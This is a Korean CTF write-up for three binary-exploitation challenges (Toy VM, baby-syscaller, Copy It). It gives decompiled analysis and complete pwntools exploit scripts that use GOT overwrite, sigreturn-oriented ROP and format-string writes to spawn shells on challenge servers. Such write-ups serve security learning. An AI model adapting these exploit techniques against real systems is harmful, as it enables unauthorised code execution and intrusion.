2022 Cyberguardians CTF Quals

msh1307·2022년 10월 24일
0

Writeups

목록 보기
3/15
post-thumbnail
post-custom-banner

Toy VM


64 비트 바이너리가 주어진다.

Analysis

FROM ubuntu:22.04@sha256:34fea4f31bf187bc915536831fd0afc9d214755bf700b5cdb1336c82516d154e

ARG DEBIAN_FRONTEND=noninteractive
ENV user toy_vm
ENV chall_port 31337

RUN apt-get update
RUN apt-get install -y \
    xinetd

RUN adduser $user

ADD ./deploy/xinetd /etc/xinetd.d/chall
ADD ./deploy/flag /home/$user/flag
ADD ./deploy/$user /home/$user/$user
ADD ./deploy/run.sh /home/$user/run.sh

RUN chown -R root:root /home/$user
RUN chown root:$user /home/$user/flag
RUN chown root:$user /home/$user/$user
RUN chown root:$user /home/$user/run.sh

RUN chmod 755 /home/$user
RUN chmod 755 /home/$user/$user
RUN chmod 440 /home/$user/flag
RUN chmod 755 /home/$user/run.sh

RUN service xinetd restart

WORKDIR /home/$user
USER $user
EXPOSE $chall_port
CMD ["/usr/sbin/xinetd", "-dontfork"]

도커 파일을 통해서 우분투 22.04에서 돌아간다는 것을 알 수 있다.

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  Init();
  VM();
}

main 함수의 모습이다.
Init 하고 VM을 호출한다.
신기하게 바이너리에 심볼이 다 살아있어서 분석하기 편했다.

char *Init()
{
  char *result; // rax

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  sp_2 = (char *)&upper_mem;
  max_mem = (__int64)&upper_mem + 4095;
  result = (char *)&upper_mem - 4096;
  min_mem = (__int64)&upper_mem - 4096;
  return result;
}

Init 함수의 모습이다.
원래 reg_2 였었는데, 분석하다보니 stack pointer 정도로 쓰이는거 같아서, sp_2로 바꿨다.
여기서 이 sp의 최대, 최소를 세팅한다.

void __noreturn VM()
{
  unsigned __int8 input[264]; // [rsp+0h] [rbp-110h] BYREF
  unsigned __int64 v1; // [rsp+108h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  while ( 1 )
  {
    memset(input, 0, 0x100uLL);
    read(0, input, 254uLL);
    HandleInput(input);
    write(1, "+++\n", 4uLL);
  }
}

VM 함수의 모습이다.
input을 받고, HandleInput을 호출한다.

__int64 __fastcall HandleInput(unsigned __int8 *input)
{
  __int64 result; // rax
  unsigned __int8 opcode; // [rsp+1Fh] [rbp-1h]

  while ( 1 )
  {
    result = *input;
    if ( !(_BYTE)result )
      break;
    opcode = ParseInstruction(input);
    ProcessInstruction(opcode, (__int8 *)input);
    if ( opcode == 0xFF )
    {
      puts("invalid insruction detected");
      exit(0);
    }
    input += *((_QWORD *)&unk_3BF8 + 4 * opcode);
  }
  return result;
}

HandleInput 함수의 모습이다.
PareseInstruction 함수는 명령을 파싱하고 opcode에 저장하는 역할을 한다.
ProcessInstruction은 opcode와 operand를 받아서 잘 실행시켜주는 역할을 한다.
opcode가 이상한거면, invalid instruction detected를 출력하고 exit 한다.

__int64 __fastcall ParseInstruction(const void *input)
{
  unsigned __int8 v2; // [rsp+1Bh] [rbp-5h]
  int cnt; // [rsp+1Ch] [rbp-4h]

  v2 = -1;
  for ( cnt = 0; cnt <= 12; ++cnt )
  {
    if ( !memcmp(input, *(&off_3BE8 + 4 * cnt), *((_QWORD *)&qword_3BF0 + 4 * cnt)) )
      return (unsigned __int8)*((_DWORD *)&instructions + 8 * cnt);
  }
  return v2;
}

ParseInstruction 함수의 모습이다.
input 받아서, instruction opcode 리턴해준다.

__int64 __fastcall ProcessInstruction(unsigned int opcode, __int8 *input)
{
  __int64 result; // rax

  result = opcode;
  switch ( opcode )
  {
    case 0u:                                    // \x10
    case 1u:                                    // \x11
    case 2u:                                    // \x12
      result = (__int64)Add(input);
      break;
    case 3u:                                    // \x30
    case 4u:                                    // \x31
    case 5u:                                    // \x32
      result = (__int64)Sub(input);
      break;
    case 6u:                                    // \x70
    case 7u:                                    // \x71
    case 8u:                                    // \x72
      result = (__int64)Mul(input);
      break;
    case 9u:                                    // \xbe
      result = Read();
      break;
    case 0xAu:                                  // \xef
      result = Write();
      break;
    case 0xBu:                                  // \xca
      result = Puts();
      break;
    default:                                    // \xfe
      return result;
  }
  return result;
}

Parsing 이후에 호출되는 함수이다.
옆에다 주석으로 어떤 opcode에 해당하는지 기록해놓았다.

__int64 *__fastcall Add(__int8 *opcode)
{
  __int64 *result; // rax

  result = GetDstReg(*opcode);
  *result += *(unsigned __int16 *)(opcode + 1); // 2byte operand
  return result;
}

Add 함수의 모습이다.
opcode 주소 + 1부터 operand에 해당하니 여기서 2바이트를 참조해서 가져오고 더해준다.

__int64 *__fastcall GetDstReg(char a1)
{
  if ( (a1 & 2) != 0 )                          // opcode == 2
    return (__int64 *)&sp_2;
  if ( (a1 & 1) != 0 )                          // opcode == 1
    return &reg_1;
  return &reg_0;                                // opcode == 0
}

GetDstReg 함수의 모습이다.
opcode에 따라서 destination register가 결정된다.

__int64 *__fastcall Sub(__int8 *a1)
{
  __int64 *result; // rax

  result = GetDstReg(*a1);
  *result -= *(unsigned __int16 *)(a1 + 1);
  return result;
}

Sub 함수의 모습이다.
뺄샘이 구현되어있다.

__int64 *__fastcall Mul(char *a1)
{
  __int64 *result; // rax

  result = GetDstReg(*a1);
  *result = reg_1 * reg_0;
  return result;
}

Mul 함수의 모습이다.
곱셈이 구현되어있다.

ssize_t Read()
{
  if ( (unsigned __int64)sp_2 < min_mem || max_mem < (unsigned __int64)sp_2 )
  {
    puts("out-of-bound access detected");
    exit(1);
  }
  return read(0, sp_2, 2uLL);
}

Read 함수의 모습이다.
sp_2에 입력을 받아준다.
2 바이트 받는다.
여기서 OOB를 감지한다.

ssize_t Write()
{
  if ( (unsigned __int64)sp_2 < min_mem || max_mem < (unsigned __int64)sp_2 )
  {
    puts("out-of-bound access detected");
    exit(1);
  }
  return write(1, sp_2, 2uLL);
}

Write 함수의 모습이다.
write를 한다.
OOB를 감지한다.

int Puts()
{
  return puts(sp_2);
}

Puts 함수의 모습이다.
라이브러리 함수인 puts를 호출한다.
인자로 sp_2가 들어간다.

Exploitation

sp_2를 잘 컨트롤하면 bss의 stdout을 leak 할 수 있다.
이를 통해 libc leak이 가능하다.

if ( (unsigned __int64)sp_2 < min_mem || max_mem < (unsigned __int64)sp_2 )
  {
    puts("out-of-bound access detected");
    exit(1);
  }

max, min을 변조해서 OOB 검증을 우회할 수 있다.
2 바이트가 덮히니, Read 함수 내부에서 위 조건문을 우회하면서 max의 1 바이트를 overwrite를 할 수 있다.
1 바이트가 overwrite 되었으니 min과 max를 다 덮을 수 있다.

바이너리는 Full Relro이니, Partial Relro인 libc의 got를 덮으면 된다.
puts 함수의 내부 로직에서 strlen을 호출하는데, 그 got를 system으로 덮고, sp_2를 /bin/sh를 가리키게 만들고 puts를 호출하면 된다.

from pwn import * 
e = ELF('./toy_vm')
#p = process('./toy_vm')
p =remote('host1.dreamhack.games',13353)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
pay = b'\x32' #sub
pay += p16(0x1060)
pay += b'\xca'#puts
pay += b'\x12'#add
pay += p16(0x1060)
pay += b'\x12'#add
pay += p16(0x1000)
pay += b'\xca' #puts

pay += b'\x32'#sub
pay += p16(1)
pay += b'\xbe'#read
pay += b'\x12'
pay += p16(1+6)
pay += b'\xbe'#read

pay += b'\x12'#add
pay += p16(6)
pay += b'\xbe'#read

pay += b'\x32'#sub
pay += p16(0x200c+0x18)
pay += b'\xbe'#read
pay += b'\x12'#add
pay += p16(0x2)
pay += b'\xbe'#read
pay += b'\x12'#add
pay += p16(0x2)
pay += b'\xbe'#read
pay += b'\x12'#add
pay += p16(0x2)
pay += b'\xbe'#read

pay += b'\x32'#sub
pay += p16(6) 
# reg1 <- sp

pay += b'\x32'
pay += p16(0x8)
pay += b'\xbe'

pay += b'\x12'#add
pay += p16(0x8)

pay += b'\x72' #mul 

pay += b'\xbe'#read
pay += b'\x12'#add
pay += p16(0x2)
pay += b'\xbe'#read
pay += b'\x12'#add
pay += p16(0x2)
pay += b'\xbe'#read
pay += b'\x12'#add
pay += p16(0x2)
pay += b'\xbe'#read
pay += b'\x12'#add
pay += p16(0x2)

pay += b'\x30'#sub
pay += p16(1)

pay += b'\x32'#sub
pay += p16(0x8145)
pay += b'\x32'#sub
pay += p16(0x8145)
pay += b'\x32'#sub
pay += p16(0x8145)
pay += b'\x32'#sub
pay += p16(0x8145)
pay += b'\x32'#sub
pay += p16(0x8145)
pay += b'\x32'#sub
pay += p16(0x8145)
pay += b'\x32'#sub
pay += p16(0x8145)
pay += b'\x32'#sub
pay += p16(0x8145)

pay += b'\x12'#add
pay += p16(0x10)
pay += b'\x12'#add
pay += p16(0x10)
pay += b'\xca'
pause()
p.send(pay)

libc_base = u64(p.recvline()[:-1].ljust(8,b'\x00')) - libc.sym['_IO_2_1_stdout_']

success('libc base : ' +hex(libc_base))
strlen_got = libc_base + 0x219098 
sys = libc_base + libc.sym['system']
bin_base  = u64(p.recvline()[:-1].ljust(8,b'\x00')) -0x607f
bin_sh = libc_base + 0x1d8698
success('bin base : ' +hex(bin_base))
p.send(b'\xff\xff')
sleep(0.1)
p.send(b'\xff\xff')

success('strlen got : '+hex(strlen_got))
sleep(0.1)
p.send(b'\x00\x00')
success('bin sh : '+hex(bin_sh))

sleep(0.1)
p.send(p64(strlen_got)[:2])
sleep(0.1)
p.send(p64(strlen_got)[2:4])
sleep(0.1)
p.send(p64(strlen_got)[4:6])
sleep(0.1)  
p.send(p64(strlen_got)[6:8])

#reg_1 : strlen_got
sleep(0.1)
p.send(b'\x01\x00')

sleep(0.1)
p.send(p64(sys)[:2])
sleep(0.1)
p.send(p64(sys)[2:4])
sleep(0.1)
p.send(p64(sys)[4:6])
sleep(0.1)
p.send(p64(sys)[6:8])

p.interactive()

/bin/sh를 sp_2에 넣고 호출했었는데, 안되길래 아다리 잘 맞춰줬다.

baby-syscaller


64 비트 바이너리가 주어진다.

statically linked 바이너리이다.

Analysis

__int64 start()
{
  char v1[8]; // [rsp+8h] [rbp-8h] BYREF

  read(0, v1, 0144u);
  return 0LL;
}

분석할게 없다.
Bof 터진다.

.text:0000000000401027 ; signed __int64 __fastcall read(unsigned int, char *, unsigned int)
.text:0000000000401027                 public read
.text:0000000000401027 read            proc near               ; CODE XREF: _start+1D↓p
.text:0000000000401027
.text:0000000000401027 buf             = qword ptr -10h
.text:0000000000401027 count           = qword ptr -8
.text:0000000000401027
.text:0000000000401027 ; __unwind {
.text:0000000000401027                 endbr64
.text:000000000040102B                 push    rbp
.text:000000000040102C                 mov     rbp, rsp
.text:000000000040102F                 mov     dword ptr [rbp+count+4], edi
.text:0000000000401032                 mov     [rbp+buf], rsi
.text:0000000000401036                 mov     dword ptr [rbp+count], edx
.text:0000000000401039                 mov     eax, 0
.text:000000000040103E                 mov     ecx, dword ptr [rbp+count+4]
.text:0000000000401041                 mov     rsi, [rbp+buf]  ; buf
.text:0000000000401045                 mov     edx, dword ptr [rbp+count] ; count
.text:0000000000401048                 mov     edi, ecx        ; fd
.text:000000000040104A                 syscall                 ; LINUX - sys_read
.text:000000000040104C                 nop
.text:000000000040104D                 pop     rbp
.text:000000000040104E                 retn
.text:000000000040104E ; } // starts at 401027
.text:000000000040104E read            endp

read도 그대로 남아있다.

.text:0000000000401000 ; void helper1()
.text:0000000000401000                 public helper1
.text:0000000000401000 helper1         proc near               ; DATA XREF: LOAD:0000000000400088↑o
.text:0000000000401000 ; __unwind {
.text:0000000000401000                 endbr64
.text:0000000000401004                 push    rbp
.text:0000000000401005                 mov     rbp, rsp
.text:0000000000401008                 push    rdi
.text:0000000000401009                 pop     rdi
.text:000000000040100A                 nop
.text:000000000040100B                 pop     rbp
.text:000000000040100C                 retn
.text:000000000040100C ; } // starts at 401000
.text:000000000040100C helper1         endp
.text:000000000040100C
.text:000000000040100D
.text:000000000040100D ; =============== S U B R O U T I N E =======================================
.text:000000000040100D
.text:000000000040100D ; Attributes: bp-based frame
.text:000000000040100D
.text:000000000040100D ; void helper2()
.text:000000000040100D                 public helper2
.text:000000000040100D helper2         proc near
.text:000000000040100D ; __unwind {
.text:000000000040100D                 endbr64
.text:0000000000401011                 push    rbp
.text:0000000000401012                 mov     rbp, rsp
.text:0000000000401015                 push    rsi
.text:0000000000401016                 pop     rsi
.text:0000000000401017                 nop
.text:0000000000401018                 pop     rbp
.text:0000000000401019                 retn
.text:0000000000401019 ; } // starts at 40100D
.text:0000000000401019 helper2         endp
.text:0000000000401019
.text:000000000040101A
.text:000000000040101A ; =============== S U B R O U T I N E =======================================
.text:000000000040101A
.text:000000000040101A ; Attributes: bp-based frame
.text:000000000040101A
.text:000000000040101A ; void helper3()
.text:000000000040101A                 public helper3
.text:000000000040101A helper3         proc near
.text:000000000040101A ; __unwind {
.text:000000000040101A                 endbr64
.text:000000000040101E                 push    rbp
.text:000000000040101F                 mov     rbp, rsp
.text:0000000000401022                 push    rdx
.text:0000000000401023                 pop     rdx
.text:0000000000401024                 nop
.text:0000000000401025                 pop     rbp
.text:0000000000401026                 retn
.text:0000000000401026 ; } // starts at 40101A
.text:0000000000401026 helper3         endp

helper 1, 2, 3이 있다.
가젯 제공해주는 용도다.

Exploitation

stack pivoting 하고, Sigreturn으로 레지스터 세팅하고, rax 59로 세팅해서 execve 불렀다.
rdi로는 /bin/sh 넣어줬다.
/bin/sh는 bss에 입력해줬다.

syscall 가젯은 read 함수 내부에서 얻을 수 있다.

from pwn import * 
e = ELF('./prob')
#p = process('./prob')
p = remote('host3.dreamhack.games',8660)
context.binary = './prob'
context.arch ='amd64'
start = 0x40104f
ret = 0x000000000040100c
syscall = 0x40104A
read = 0x401027
sigreturn = 15	
execve = 59

pop_rdi_rbp = 0x0000000000401009
pop_rsi_rbp = 0x0000000000401016
pop_rdx_rbp = 0x0000000000401023
leave_ret = 0x0000000000401076

frame = SigreturnFrame()
frame.rax = execve
frame.rip = syscall
frame.rdi = 0x404600
frame.rsp = e.bss()

pay = p64(0) + p64(e.bss()+0x600)
pay += p64(pop_rsi_rbp) + p64(e.bss()+0x600) + p64(e.bss()+0x600) 
pay += p64(read)
pay += p64(leave_ret)
pay += p64(start)
pause()
p.send(pay)

pay = b'/bin/sh\x00' # -> e.bss() + 0x600 -> 0x404600
pay += p64(pop_rdi_rbp) + p64(0)+p64(e.bss()+0x600)
pay += p64(pop_rsi_rbp) + p64(0x404658) + p64(e.bss()+0x600) 
pay += p64(pop_rdx_rbp) + p64(0x1000) + p64(e.bss()+0x600)+p64(read)
pause()
p.send(pay)

pay = p64(read)
pay += p64(syscall)
pay += bytes(frame)
pause()
p.send(pay)
pay = p64(read)
pay += b'\x4a\x10\x40\x00\x00\x00\x00'
pause()
p.send(pay)
p.interactive()

Copy It


64 비트 바이너리가 주어진다.

Analysis

FROM ubuntu:22.04@sha256:34fea4f31bf187bc915536831fd0afc9d214755bf700b5cdb1336c82516d154e

ARG DEBIAN_FRONTEND=noninteractive
ENV user copy_it
ENV chall_port 31337

RUN apt-get update
RUN apt-get install -y \
    xinetd

RUN adduser $user

ADD ./deploy/xinetd /etc/xinetd.d/chall
ADD ./deploy/flag /home/$user/flag
ADD ./deploy/$user /home/$user/$user
ADD ./deploy/run.sh /home/$user/run.sh

RUN chown -R root:root /home/$user
RUN chown root:$user /home/$user/flag
RUN chown root:$user /home/$user/$user
RUN chown root:$user /home/$user/run.sh

RUN chmod 755 /home/$user
RUN chmod 755 /home/$user/$user
RUN chmod 440 /home/$user/flag
RUN chmod 755 /home/$user/run.sh

RUN service xinetd restart

WORKDIR /home/$user
USER $user
EXPOSE $chall_port
CMD ["/usr/sbin/xinetd", "-dontfork"]

우분투 22.04를 사용한다.

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char s[264]; // [rsp+0h] [rbp-110h] BYREF
  unsigned __int64 v5; // [rsp+108h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  puts("copy it!");
  do
  {
    memset(s, 1, 0x100uLL);
    write(1, "input: ", 7uLL);
    read(0, s, 255uLL);
    printf(s);
  }
  while ( MEMORY[0xDEADBEEF000] != qword_405398 );
  write(1, "flag is ", 8uLL);
  system("/bin/cat flag");
  return 0LL;
}

main 함수의 모습이다.
0xdeadbeef000이랑 비교해서 맞으면 flag를 읽어준다.

.init_array:0000000000403D60 ; ELF Initialization Function Table
.init_array:0000000000403D60 ; ===========================================================================
.init_array:0000000000403D60
.init_array:0000000000403D60 ; Segment type: Pure data
.init_array:0000000000403D60 ; Segment permissions: Read/Write
.init_array:0000000000403D60 _init_array     segment qword public 'DATA' use64
.init_array:0000000000403D60                 assume cs:_init_array
.init_array:0000000000403D60                 ;org 403D60h
.init_array:0000000000403D60 off_403D60      dq offset sub_4012D0    ; DATA XREF: LOAD:0000000000400168↑o
.init_array:0000000000403D60                                         ; LOAD:00000000004002F0↑o
.init_array:0000000000403D68                 dq offset sub_4012D6
.init_array:0000000000403D68 _init_array     ends
.init_array:0000000000403D68

read only이고 값이 계속 바뀌길래 찾아보니까 함수가 init array에 등록되어있었다.

int sub_4012D6()
{
  int result; // eax
  FILE *stream; // [rsp+8h] [rbp-8h]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  if ( mmap((void *)0xDEADBEEF000LL, 0x1000uLL, 3, 34, 0, 0LL) != (void *)0xDEADBEEF000LL )
  {
    puts("mmap() error.");
    exit(0);
  }
  stream = fopen("/dev/urandom", "r");
  if ( !stream )
  {
    puts("fopen() error.");
    exit(0);
  }
  if ( fread((void *)0xDEADBEEF000LL, 1uLL, 8uLL, stream) != 8 )
  {
    puts("fread() error.");
    exit(0);
  }
  if ( fclose(stream) )
  {
    puts("fclose() error.");
    exit(0);
  }
  result = mprotect((void *)0xDEADBEEF000LL, 0x1000uLL, 1);
  if ( result == -1 )
  {
    puts("mprotect() error.");
    exit(0);
  }
  return result;
}

sub_4012d6 이다.
/dev/urandom 난수 생성 파일 읽어서, 0xdeadbeef000에 저장한다.
그리고 mprotect로 read only로 만든다.

Exploitation

libc leak 해주고, strlen got system 덮고 /bin/sh 불렀다.

from pwn import * 
context.binary = './copy_it'

e = ELF('./copy_it')
#p = process('./copy_it')
p = remote('host3.dreamhack.games',17074)

pay = b'%3$p '
p.send(pay)

p.recvuntil(b'0x')
libc_base = int(p.recvuntil(b'\x20'),16) -0x114992
success('libc base : '+hex(libc_base))
overwrite = libc_base + 0x2190b8
success('overwrite : '+hex(overwrite))
p.recv()
pay = b'%1$p '
p.send(pay)
ret = int(p.recvuntil(b'\x20'),16) +0x118
success('stack ret : '+hex(ret)) 

exit_funcs = libc_base+0x219838
exit_funcs2 = libc_base+0x219838+0x8

next_ret = ret+0x8
# writes = {
#     exit_funcs : 0x40152D, 
#     exit_funcs2 : 0x40152D
# }
# #0x000000000040101a ret
# pay = fmtstr_payload(6, writes)
# p.send(pay)

writes = {
    overwrite : e.plt['system']
}
pay = fmtstr_payload(6, writes)
p.send(pay)
pause()
p.send(b'/bin/sh\x00')
p.interactive()

profile
https://msh1307.kr
post-custom-banner

0개의 댓글